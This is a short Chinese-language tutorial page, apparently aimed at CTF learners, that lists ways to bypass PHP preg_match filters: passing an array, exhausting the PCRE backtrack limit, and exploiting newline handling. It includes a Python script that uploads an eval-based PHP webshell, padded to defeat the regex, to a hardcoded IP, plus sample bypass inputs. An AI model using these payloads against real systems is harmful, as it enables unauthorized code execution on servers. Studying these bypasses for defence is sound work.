preg_match繞過總結


preg_match繞過總結

什么是preg_match

繞過方法

1、數組繞過

preg_match只能處理字符串,當傳入的subject是數組時會返回false

2、PCRE回溯次數限制

PHP利用PCRE回溯次數限制繞過某些安全限制

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

pcre.backtrack_limit給pcre設定了一個回溯次數上限,默認為1000000,如果回溯次數超過這個數字,preg_match會返回false

3、換行符

.不會匹配換行符,如

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}

只需要

$json="\nflag"

而在非多行模式下,$似乎會忽略在句尾的%0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

只需要傳入

?a=flag%0a


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM